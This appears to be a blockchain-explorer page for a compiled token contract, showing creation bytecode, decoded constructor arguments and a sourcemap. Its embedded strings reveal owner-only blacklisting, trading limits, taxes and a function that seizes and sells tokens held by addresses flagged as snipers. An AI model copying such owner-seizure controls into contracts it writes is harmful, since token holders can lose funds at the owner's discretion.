f16155b156139a1576006548311156138f057600090506139a0565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613995575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461399391906148ab565b115b1561399f57600090505b5b5b8091505092915050565b600080600560009054906101000a900460ff161580613a135750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613a675750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613a755760009050613baa565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613af8576064600b60029054906101000a900460ff1660ff1684613ae79190614426565b613af191906144af565b9050613ba9565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b7b576064600b60039054906101000a900460ff1660ff1684613b6a9190614426565b613b7491906144af565b9050613ba8565b6064600b60049054906101000a900460ff1660ff1684613b9b9190614426565b613ba591906144af565b90505b5b5b809150509392505050565b600080fd5b600063ffffffff82169050919050565b613bd381613bba565b8114613bde57600080fd5b50565b600081359050613bf081613bca565b92915050565b60008060008060808587031215613c1057613c0f613bb5565b5b6000613c1e87828801613be1565b9450506020613c2f87828801613be1565b9350506040613c4087828801613be1565b9250506060613c5187828801613be1565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b83811015613c97578082015181840152602081019050613c7c565b83811115613ca6576000848401525b50505050565b6000601f19601f8301169050919050565b6000613cc882613c5d565b613cd28185613c68565b9350613ce2818560208601613c79565b613ceb81613cac565b840191505092915050565b60006020820190508181036000830152613d108184613cbd565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613d4382613d18565b9050919050565b613d5381613d38565b8114613d5e57600080fd5b50565b600081359050613d7081613d4a565b92915050565b6000819050919050565b613d8981613d76565b8114613d9457600080fd5b50565b600081359050613da681613d80565b92915050565b60008060408385031215613dc357613dc2613bb5565b5b6000613dd185828601613d61565b9250506020613de285828601613d97565b9150509250929050565b60008115159050919050565b613e0181613dec565b82525050565b6000602082019050613e1c6000830184613df8565b92915050565b613e2b81613d76565b82525050565b6000602082019050613e466000830184613e22565b92915050565b600061ffff82169050919050565b613e6381613e4c565b8114613e6e57600080fd5b50565b600081359050613e8081613e5a565b92915050565b600080600060608486031215613e9f57613e9e613bb5565b5b6000613ead86828701613e71565b9350506020613ebe86828701613e71565b9250506040613ecf86828701613e71565b9150509250925092565b600080600060608486031215613ef257613ef1613bb5565b5b6000613f0086828701613d61565b9350506020613f1186828701613d61565b9250506040613f2286828701613d97565b9150509250925092565b600060ff82169050919050565b613f4281613f2c565b82525050565b6000602082019050613f5d6000830184613f39565b92915050565b613f6c81613dec565b8114613f7757600080fd5b50565b600081359050613f8981613f63565b92915050565b60008060408385031215613fa657613fa5613bb5565b5b6000613fb485828601613d61565b9250506020613fc585828601613f7a565b9150509250929050565b600060208284031215613fe557613fe4613bb5565b5b6000613ff384828501613d97565b91505092915050565b60006020828403121561401257614011613bb5565b5b600061402084828501613d61565b91505092915050565b600080604083850312156140405761403f613bb5565b5b600061404e85828601613d61565b925050602061405f85828601613d61565b9150509250929050565b61407281613d38565b82525050565b600060208201905061408d6000830184614069565b92915050565b600080604083850312156140aa576140a9613bb5565b5b60006140b885828601613e71565b92505060206140c985828601613e71565b9150509250929050565b6140dc81613f2c565b81146140e757600080fd5b50565b6000813590506140f9816140d3565b92915050565b60008060006060848603121561411857614117613bb5565b5b6000614126868287016140ea565b9350506020614137868287016140ea565b9250506040614148868287016140ea565b9150509250925092565b61415b81613e4c565b82525050565b60006020820190506141766000830184614152565b92915050565b600061418782613d18565b9050919050565b6141978161417c565b81146141a257600080fd5b50565b6000813590506141b48161418e565b92915050565b6000602082840312156141d0576141cf613bb5565b5b60006141de848285016141a5565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614243602a83613c68565b915061424e826141e7565b604082019050919050565b6000602082019050818103600083015261427281614236565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156142ff578086048111156142db576142da614279565b5b60018516156142ea5780820291505b80810290506142f8856142a8565b94506142bf565b94509492505050565b60008261431857600190506143d4565b8161432657600090506143d4565b816001811461433c576002811461434657614375565b60019150506143d4565b60ff84111561435857614357614279565b5b8360020a91508482111561436f5761436e614279565b5b506143d4565b5060208310610133831016604e8410600b84101617156143aa5782820a9050838111156143a5576143a4614279565b5b6143d4565b6143b784848460016142b5565b925090508184048111156143ce576143cd614279565b5b81810290505b9392505050565b60006143e682613d76565b91506143f183613f2c565b925061441e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614308565b905092915050565b600061443182613d76565b915061443c83613d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561447557614474614279565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144ba82613d76565b91506144c583613d76565b9250826144d5576144d4614480565b5b828204905092915050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b6000614516601183613c68565b9150614521826144e0565b602082019050919050565b6000602082019050818103600083015261454581614509565b9050919050565b600061455782613e4c565b915061456283613e4c565b92508261ffff0382111561457957614578614279565b5b828201905092915050565b7f53756d206d757374206265203130303000000000000000000000000000000000600082015250565b60006145ba601083613c68565b91506145c582614584565b602082019050919050565b600060208201905081810360008301526145e9816145ad565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614626601083613c68565b9150614631826145f0565b602082019050919050565b6000602082019050818103600083015261465581614619565b9050919050565b600061466782613d76565b915061467283613d76565b92508282101561468557614684614279565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006146c6601483613c68565b91506146d182614690565b602082019050919050565b600060208201905081810360008301526146f5816146b9565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614732600f83613c68565b915061473d826146fc565b602082019050919050565b6000602082019050818103600083015261476181614725565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b600061479e600e83613c68565b91506147a982614768565b602082019050919050565b600060208201905081810360008301526147cd81614791565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061480a600983613c68565b9150614815826147d4565b602082019050919050565b60006020820190508181036000830152614839816147fd565b9050919050565b60008151905061484f81613d4a565b92915050565b60006020828403121561486b5761486a613bb5565b5b600061487984828501614840565b91505092915050565b60006040820190506148976000830185614069565b6148a46020830184614069565b9392505050565b60006148b682613d76565b91506148c183613d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156148f6576148f5614279565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000614937601083613c68565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006149a3601483613c68565b91506149ae8261496d565b602082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f6e6f74206120736e697065720000000000000000000000000000000000000000600082015250565b6000614a0f600c83613c68565b9150614a1a826149d9565b602082019050919050565b60006020820190508181036000830152614a3e81614a02565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614a7b600983613c68565b9150614a8682614a45565b602082019050919050565b60006020820190508181036000830152614aaa81614a6e565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614ae7600c83613c68565b9150614af282614ab1565b602082019050919050565b60006020820190508181036000830152614b1681614ada565b9050919050565b6000614b2882613f2c565b9150614b3383613f2c565b92508160ff0483118215151615614b4d57614b4c614279565b5b828202905092915050565b6000819050919050565b6000614b7d614b78614b7384613d18565b614b58565b613d18565b9050919050565b6000614b8f82614b62565b9050919050565b6000614ba182614b84565b9050919050565b614bb181614b96565b82525050565b6000602082019050614bcc6000830184614ba8565b92915050565b6000614bdd82613e4c565b915061ffff821415614bf257614bf1614279565b5b600182019050919050565b6000614c0882613d18565b9150614c1383613d18565b925082614c2357614c22614480565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b6000614c64601483613c68565b9150614c6f82614c2e565b602082019050919050565b60006020820190508181036000830152614c9381614c57565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614cd0600b83613c68565b9150614cdb82614c9a565b602082019050919050565b60006020820190508181036000830152614cff81614cc3565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614d3c601183613c68565b9150614d4782614d06565b602082019050919050565b60006020820190508181036000830152614d6b81614d2f565b9050919050565b6000819050919050565b6000614d97614d92614d8d84614d72565b614b58565b613d76565b9050919050565b614da781614d7c565b82525050565b600060c082019050614dc26000830189614069565b614dcf6020830188613e22565b614ddc6040830187614d9e565b614de96060830186614d9e565b614df66080830185614069565b614e0360a0830184613e22565b979650505050505050565b600081519050614e1d81613d80565b92915050565b600080600060608486031215614e3c57614e3b613bb5565b5b6000614e4a86828701614e0e565b9350506020614e5b86828701614e0e565b9250506040614e6c86828701614e0e565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f0981613d38565b82525050565b6000614f1b8383614f00565b60208301905092915050565b6000602082019050919050565b6000614f3f82614ed4565b614f498185614edf565b9350614f5483614ef0565b8060005b83811015614f85578151614f6c8882614f0f565b9750614f7783614f27565b925050600181019050614f58565b5085935050505092915050565b600060a082019050614fa76000830188613e22565b614fb46020830187614d9e565b8181036040830152614fc68186614f34565b9050614fd56060830185614069565b614fe26080830184613e22565b969550505050505056fea2646970667358221220a807732826bb43f5d2395e45f9cf39221a7f8a0cbf4bc2146faf8aee11dcc7ce64736f6c634300080b0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000037086c56000000000000000000000000000000000000000000000000000000001c574561

-----Decoded View---------------
Arg [0] : smd (uint32): 923298902
Arg [1] : smr (uint32): 475481441

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000037086c56
Arg [1] : 000000000000000000000000000000000000000000000000000000001c574561


Deployed Bytecode Sourcemap

2073:13596:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12884:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4623:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5033:394;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4362:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15573:93;;;;;;;;;;;;;:::i;:::-;;7925:121;;;;;;;;;;;;;:::i;:::-;;11852:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5637:363;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2815:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11218:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4453:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11330:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2790:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6005:912;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4787:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1282:110;;;;;;;;;;;;;:::i;:::-;;12167:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2841:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4706:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11098:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2554:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4536:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5432:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2582:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12453:426;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13118:706;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2643:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15376:192;;;;;;;;;;;;;:::i;:::-;;4895:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11446:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2720:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2616:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11740:105;;;;;;;;;;;;;:::i;:::-;;1149:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10939:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2527:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12884:229;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13044:10:::1;13018:36;;13033:8;13018:23;;2213:1;2263:2;:13;;;;:::i;:::-;2250:10;:26;;;;:::i;:::-;13018:23;;;;:::i;:::-;:36;;;;:::i;:::-;13005:10;:49;;;;13098:10;13072:36;;13087:8;13072:23;;2213:1;2263:2;:13;;;;:::i;:::-;2250:10;:26;;;;:::i;:::-;13072:23;;;;:::i;:::-;:36;;;;:::i;:::-;13059:10;:49;;;;12884:229:::0;;;;:::o;4623:80::-;4671:13;4695:5;;;;;;;;;;;;;;;;;4688:12;;4623:80;:::o;5033:394::-;5108:4;5138:12;5124:11;;:26;:53;;;;;5155:10;:22;5166:10;5155:22;;;;;;;;;;;;;;;;;;;;;;;;;5154:23;5124:53;5119:193;;;5261:45;5275:10;5287:12;5301:4;5261:13;:45::i;:::-;5119:193;5353:6;5318:11;:23;5330:10;5318:23;;;;;;;;;;;;;;;:32;5342:7;5318:32;;;;;;;;;;;;;;;:41;;;;5390:7;5369:37;;5378:10;5369:37;;;5399:6;5369:37;;;;;;:::i;:::-;;;;;;;;5418:4;5411:11;;5033:394;;;;:::o;4362:88::-;4417:7;2213:1;2263:2;:13;;;;:::i;:::-;2250:10;:26;;;;:::i;:::-;4428:19;;4362:88;:::o;15573:93::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15620:40:::1;15638:21;15620:17;:40::i;:::-;15573:93::o:0;7925:121::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7990:12:::1;7976:11;;:26;7968:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;8029:12;8039:1;8029:9;:12::i;:::-;7925:121::o:0;11852:309::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12031:4:::1;12018:9;12000:15;11985:12;:30;;;;:::i;:::-;:42;;;;:::i;:::-;:50;;;11977:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;12078:12;12062:13;;:28;;;;;;;;;;;;;;;;;;12114:15;12095:16;;:34;;;;;;;;;;;;;;;;;;12147:9;12134:10;;:22;;;;;;;;;;;;;;;;;;11852:309:::0;;;:::o;5637:363::-;5737:4;5756:19;:17;:19::i;:::-;5748:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;5840:17;5805:11;:19;5817:6;5805:19;;;;;;;;;;;;;;;:31;5825:10;5805:31;;;;;;;;;;;;;;;;:52;5801:143;;5932:6;5898:11;:19;5910:6;5898:19;;;;;;;;;;;;;;;:31;5918:10;5898:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;5864:11;:19;5876:6;5864:19;;;;;;;;;;;;;;;:31;5884:10;5864:31;;;;;;;;;;;;;;;:74;;;;5801:143;5955:40;5969:6;5977:9;5988:6;5955:13;:40::i;:::-;5948:47;;5637:363;;;;;:::o;2815:24::-;;;;;;;;;;;;;:::o;11218:107::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11313:7:::1;11293;:17;11302:6;11293:17;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;11218:107:::0;;:::o;4453:80::-;4505:5;2213:1;4514:16;;4453:80;:::o;11330:111::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11429:7:::1;11407:9;:19;11418:6;11407:19;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;11330:111:::0;;:::o;2790:23::-;;;;;;;;;;;;;:::o;6005:912::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6076:11:::1;;;;;;;;;;;6075:12;6067:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;6140:1;6125:12;:16;6117:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;6196:4;6168:10;:25;6187:4;6168:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;6225:4;6205:10;:17;6216:5:::0;::::1;;;;;;;;;;6205:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;6267:4;6234:10;:30;6245:18;;;;;;;;;;;6234:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;6303:4;6276:10;:24;6287:12;;;;;;;;;;;6276:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;6362:27;6392:21;6362:51;;6449:12;6426:19;:35;;6418:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;6485:29;6517:24;6535:4;6517:9;:24::i;:::-;6485:56;;6578:1;6554:21;:25;6546:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6598:18;6637:16;;;;;;;;;;;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6619:56;;;6684:4;6691:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6619:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6598:117;;6747:4;6722:10;:22;6733:10;6722:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;6781:4;6756:10;:22;6767:10;6756:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;6792:37;6807:21;6792:14;:37::i;:::-;6834:57;6848:21;6871:12;6885:5;6834:13;:57::i;:::-;6898:14;:12;:14::i;:::-;6062:855;;;6005:912:::0;:::o;4787:105::-;4853:7;4871:9;:18;4881:7;4871:18;;;;;;;;;;;;;;;;4864:25;;4787:105;;;:::o;1282:110::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1348:1:::1;1332:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;1357:32;1386:1;1357:32;;;;;;:::i;:::-;;;;;;;;1282:110::o:0;12167:281::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12299:21:::1;12270:18;;:51;;;;;;;;;;;;;;;;;;12349:15;12326:12;;:39;;;;;;;;;;;;;;;;;;12403:4;12370:7;:30;12378:21;12370:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;12439:4;12412:7;:24;12420:15;12412:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;12167:281:::0;;:::o;2841:22::-;;;;;;;;;;;;;:::o;4706:78::-;4758:7;4776:5;;;;;;;;;;;4769:12;;4706:78;:::o;11098:115::-;11164:7;11185:15;:23;11201:6;11185:23;;;;;;;;;;;;;;;;11178:30;;11098:115;;;:::o;2554:26::-;;;;:::o;4536:84::-;4586:13;4610:7;;;;;;;;;;;;;;;;;4603:14;;4536:84;:::o;5432:200::-;5512:4;5531:19;:17;:19::i;:::-;5523:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;5583:44;5597:10;5609:9;5620:6;5583:13;:44::i;:::-;5576:51;;5432:200;;;;:::o;2582:30::-;;;;:::o;12453:426::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12553:16:::1;12612:1;12605:4;12587:15;12572:30;;2213:1;2263:2;:13;;;;:::i;:::-;2250:10;:26;;;;:::i;:::-;12572:30;;;;:::i;:::-;:37;;;;:::i;:::-;:41;;;;:::i;:::-;12553:60;;12638:11;;12626:8;:23;;12618:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;12689:8;12675:11;:22;;;;12702:20;12769:1;12762:4;12740:19;12725:34;;2213:1;2263:2;:13;;;;:::i;:::-;2250:10;:26;;;;:::i;:::-;12725:34;;;;:::i;:::-;:41;;;;:::i;:::-;:45;;;;:::i;:::-;12702:68;;12799:15;;12783:12;:31;;12775:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12862:12;12844:15;:30;;;;12548:331;;12453:426:::0;;:::o;13118:706::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;3581:4:::1;3568:10;;:17;;;;;;;;;;;;;;;;;;13228:1:::2;13201:15;:23;13217:6;13201:23;;;;;;;;;;;;;;;;:28;;13193:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;13251:21;13275:17;13285:6;13275:9;:17::i;:::-;13251:41;;13321:1;13305:13;:17;13297:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;13383:13;13363:9;:17;13373:6;13363:17;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;13343:9;:17;13353:6;13343:17;;;;;;;;;;;;;;;:53;;;;13455:13;13428:9;:24;13446:4;13428:24;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;13401:9;:24;13419:4;13401:24;;;;;;;;;;;;;;;:67;;;;13503:4;13478:46;;13487:6;13478:46;;;13510:13;13478:46;;;;;;:::i;:::-;;;;;;;;13531:23;13575:1;13571;13557:13;:15;;;;:::i;:::-;:19;;;;:::i;:::-;13531:45;;13581:19;13603:21;13581:43;;13629:37;13650:15;13629:20;:37::i;:::-;13671:19;13717:11;13693:21;:35;;;;:::i;:::-;13671:57;;13733:31;13748:15;13733:14;:31::i;:::-;13769:50;13783:15;13800:11;13813:5;13769:13;:50::i;:::-;13188:636;;;;3603:5:::1;3590:10;;:18;;;;;;;;;;;;;;;;;;13118:706:::0;:::o;2643:25::-;;;;:::o;15376:192::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15425:23:::1;15451:24;15469:4;15451:9;:24::i;:::-;15425:50;;15506:1;15488:15;:19;15480:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;15526:37;15547:15;15526:20;:37::i;:::-;15420:148;15376:192::o:0;4895:133::-;4979:7;4997:11;:19;5009:6;4997:19;;;;;;;;;;;;;;;:28;5017:7;4997:28;;;;;;;;;;;;;;;;4990:35;;4895:133;;;;:::o;11446:289::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;2784:1:::1;11552:24;;:9;:24;;;;:53;;;;;2784:1;11580:25;;:10;:25;;;;11552:53;:80;;;;;2784:1;11609:23;;:8;:23;;;;11552:80;11544:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;11667:9;11654:10;;:22;;;;;;;;;;;;;;;;;;11695:10;11681:11;;:24;;;;;;;;;;;;;;;;;;11722:8;11710:9;;:20;;;;;;;;;;;;;;;;;;11446:289:::0;;;:::o;2720:31::-;;;;;;;;;;;;;:::o;2616:25::-;;;;:::o;11740:105::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11805:1:::1;11792:10;;:14;;;;;;;;;;;;;;;;;;2784:1;11825;:15;;;;:::i;:::-;11811:11;;:29;;;;;;;;;;;;;;;;;;11740:105::o:0;1149:130::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1231:8:::1;1223:5;::::0;:16:::1;;;;;;;;;;;;;;;;;;1246:30;1267:8;1246:30;;;;;;:::i;:::-;;;;;;;;1149:130:::0;:::o;10939:154::-;11000:4;11043:1;11016:15;:23;11032:6;11016:23;;;;;;;;;;;;;;;;:28;11011:78;;11056:4;11049:11;;;;11011:78;11081:5;11074:12;;10939:154;;;;:::o;2527:23::-;;;;;;;;;;;;;:::o;9590:250::-;9688:10;:18;9699:6;9688:18;;;;;;;;;;;;;;;;;;;;;;;;;9687:19;:51;;;;;9737:1;9710:15;:23;9726:6;9710:23;;;;;;;;;;;;;;;;:28;9687:51;9682:154;;;9774:13;9748:15;:23;9764:6;9748:23;;;;;;;;;;;;;;;:39;;;;9799:9;9794:37;;;9812:13;;:16;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;9794:37;9682:154;9590:250;;;:::o;15056:315::-;15113:21;15156:10;;;;;;;;;;;15137:16;;;;;;;;;;;:29;;;;:::i;:::-;15113:53;;15195:1;15176:16;;;;;;;;;;;:20;;;15171:105;;;15201:18;;;;;;;;;;;:27;;:72;15258:14;15229:43;;15239:16;;;;;;;;;;;15229:26;;:7;:26;;;;:::i;:::-;:43;;;;:::i;:::-;15201:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15171:105;15298:1;15285:10;;;;;;;;;;;:14;;;15280:87;;;15304:12;;;;;;;;;;;:21;;:60;15349:14;15326:37;;15336:10;;;;;;;;;;;15326:20;;:7;:20;;;;:::i;:::-;:37;;;;:::i;:::-;15304:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15280:87;15108:263;15056:315;:::o;8051:156::-;8119:12;8105:11;;:26;:46;;;;8150:1;8135:11;;:16;8105:46;8100:103;;;8189:8;8174:23;;:12;:23;;;;:::i;:::-;8160:11;:37;;;;8100:103;8051:156;:::o;10265:219::-;10316:4;10326:16;10345:5;10326:24;;10360:11;;;;;;;;;;;10355:101;;;10390:4;10376:18;;10355:101;;;10425:5;;;;;;;;;;10412:18;;:9;:18;;;10407:49;;;10449:4;10435:18;;10407:49;10355:101;10468:11;10461:18;;;10265:219;:::o;8212:1373::-;8304:4;8334:12;8320:11;;:26;8315:527;;;8398:4;8360:42;;8390:4;8360:34;;8376:9;8360:34;;;;:::i;:::-;:42;;;8355:233;;;8407:12;8417:1;8407:9;:12::i;:::-;8355:233;;;8464:1;8437:15;:23;8453:6;8437:23;;;;;;;;;;;;;;;;:28;8432:156;;;8470:44;8484:9;8495:12;8509:4;8470:13;:44::i;:::-;8432:156;;;8529:56;8543:9;8554:15;:23;8570:6;8554:23;;;;;;;;;;;;;;;;8579:5;8529:13;:56::i;:::-;8432:156;8355:233;8315:527;;;8637:1;8610:15;:23;8626:6;8610:23;;;;;;;;;;;;;;;;:28;8605:97;;8643:56;8657:9;8668:15;:23;8684:6;8668:23;;;;;;;;;;;;;;;;8693:5;8643:13;:56::i;:::-;8605:97;8741:15;;;;;;;;;;;8727:29;;:11;;:29;;;;:::i;:::-;8712:12;:44;:87;;;;;8791:8;8775:13;:24;;;;:::i;:::-;8760:11;:39;;8712:87;8707:130;;;8804:30;;;;;;;;;;:::i;:::-;;;;;;;;8707:130;8315:527;8851:11;;;;;;;;;;;:43;;;;;8893:1;8866:15;:23;8882:6;8866:23;;;;;;;;;;;;;;;;:28;;8851:43;:85;;;;;8924:12;8898:15;